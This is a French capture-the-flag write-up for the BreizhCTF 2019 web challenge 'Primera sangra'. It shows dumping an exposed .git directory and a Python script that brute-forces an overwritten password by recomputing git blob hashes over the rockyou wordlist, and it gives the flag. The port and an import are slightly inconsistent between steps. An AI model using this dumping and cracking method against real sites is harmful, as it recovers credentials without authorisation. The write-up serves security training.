Zeecka zeecka

Primera sangra

BreizhCTF 2019 - Web (175 pts)

BreizhCTF 2019: Primera sangra

Détails du challenge

EventChallengeCategoryPointsSolves
BreizhCTF 2019Primera sangraWeb1752

Description

Zeecka : j’ai perdu la description mais le sujet parlait d’un administrateur qui avait mis son site web en production et oublié de changer son mot de passe. Il a décidé de le changer avec vi directement sur le site en production.

URL : http://ctf.bzh:26000

TL;DR

Nous avons récupéré un répertoire .git contenant des fichiers. Le fichier contenant un secret a été modifié et ne correspondait à aucun object hash présent dans le répertoire git. Nous avons dû remplacer le contenu du fichier secret par chaque mot de passe de rockyou et recalculer chaque hash afin de retrouver le bon mot de passe. Le bon était celui qui correspondait à l’un des git hash objects.

Méthodologie

Webscan

La première étape n’était pas vraiment difficile. J’ai utilisé le web scanner Acunetix mais un scanner tel que nikto ou un simple dirbuster aurait pu trouver le même point d’entrée : un répertoire .git.

Git Dumper

J’ai utilisé l’outil git-dumper pour dumper le répertoire .git.

mkdir output
python git-dumper.py http://ctf.bzh:21000/.git output

Identification de la vulnérabilité

Tout d’abord, j’ai regardé le code source et tenté d’exploiter les fonctionnalités de pickle.load(), sans succès. En relisant la description du challenge, nous avons réalisé que l’un des fichiers ne correspondait à aucun des hashes du répertoire .git :

git hash-object * 
b9a9f0016edfa13722676a5a7764e5e90683bb6e
a8d36c721525b80c9cb29dac6f06b5acf8c60c2b
3bec6d5b3fbf61fde6c10007a70fb90aa0871f7f
tree .git/objects
├── 21
   └── ff7f561f87c1a682d11dcb2572772e4e1872af
├── 37
   └── 4e045ef2ea84be825ead668a69aac28ce7b53e
├── a8
   └── d36c721525b80c9cb29dac6f06b5acf8c60c2b
├── b9
   └── a9f0016edfa13722676a5a7764e5e90683bb6e
└── f9
    └── 0a1376b0c94bc33eb2f8e6e77f24f828039237

Ici, le hash 3bec6d5b3fbf61fde6c10007a70fb90aa0871f7f ne correspondait à aucun des object hashes. Cela signifie que ce hash correspond à un fichier qui a été modifié mais non ajouté dans le répertoire git (avec git add).

Ce hash correspond au fichier secret_password.py.

git hash-object secret_password.py 
3bec6d5b3fbf61fde6c10007a70fb90aa0871f7f
cat secret_password.py
secret_password = "REDACTED"

Voici la vulnérabilité : le fichier secret_password.py a été édité mais nous disposons toujours du git hash object de l’ancien fichier secret_password.py. Nous devons remplacer le mot de passe “REDACTED” par un mot de passe, recalculer le hash du fichier et vérifier si ce hash correspond à l’un des objects. Si c’est le cas, cela signifie que nous avons trouvé le bon mot de passe.

Bruteforce v1

J’ai décidé d’écrire le script python suivant pour bruteforce et obtenir le bon mot de passe à l’aide de la wordlist rockyou.txt :

import sys
import hashlib

hashes = ["21ff7f561f87c1a682d11dcb2572772e4e1872af",
"374e045ef2ea84be825ead668a69aac28ce7b53e",
"a8d36c721525b80c9cb29dac6f06b5acf8c60c2b",
"b9a9f0016edfa13722676a5a7764e5e90683bb6e",
"f90a1376b0c94bc33eb2f8e6e77f24f828039237"]

with open("rockyou.txt","r") as f:
    l = f.read().split()

for p in l:
    with open("tmp.txt","wb") as f2:
        f2.write('secret_password = "'+p+'"')
    h = os.popen('git hash-object tmp.txt').read()
    if h in hashes:
        print("Found flag : "+str(p))
        sys.exit()

Le script était beauuuuucoup trop lent (des heures d’exécution :’( ). J’ai dû calculer le hash par moi-même.

Algorithme de hachage

L’object hash est généré à l’aide d’un shasum spécial :

echo -ne 'blob <content size>\0<content>' | shasum

Nous pouvons vérifier avec la commande suivante :

echo -ne 'blob 28\0secret_password = "REDACTED"' | shasum
3bec6d5b3fbf61fde6c10007a70fb90aa0871f7f
git hash-object secret_password.py
3bec6d5b3fbf61fde6c10007a70fb90aa0871f7f

Bruteforce v2

Voici la version finale du script (à noter qu’aucun appel à system() n’est utilisé) :

import os
import sys
import hashlib

hashes = ["21ff7f561f87c1a682d11dcb2572772e4e1872af",
"374e045ef2ea84be825ead668a69aac28ce7b53e",
"a8d36c721525b80c9cb29dac6f06b5acf8c60c2b",
"b9a9f0016edfa13722676a5a7764e5e90683bb6e",
"f90a1376b0c94bc33eb2f8e6e77f24f828039237"]

fname = "tmp2.txt"


with open("rockyou.txt","r") as f:
    l = f.read().split()

for p in l:
    c = 'secret_password = "'+p+'"'
    h = hashlib.sha1('blob '+str(len(c))+'\0'+c).hexdigest()
    if h in hashes:
        print("Found flag : "+str(p))
        sys.exit()

Cela a pris 8 secondes !

Found flag : mhonowa2248116553575515246859

Flag

BREIZHCTF{mhonowa2248116553575515246859}

Zeecka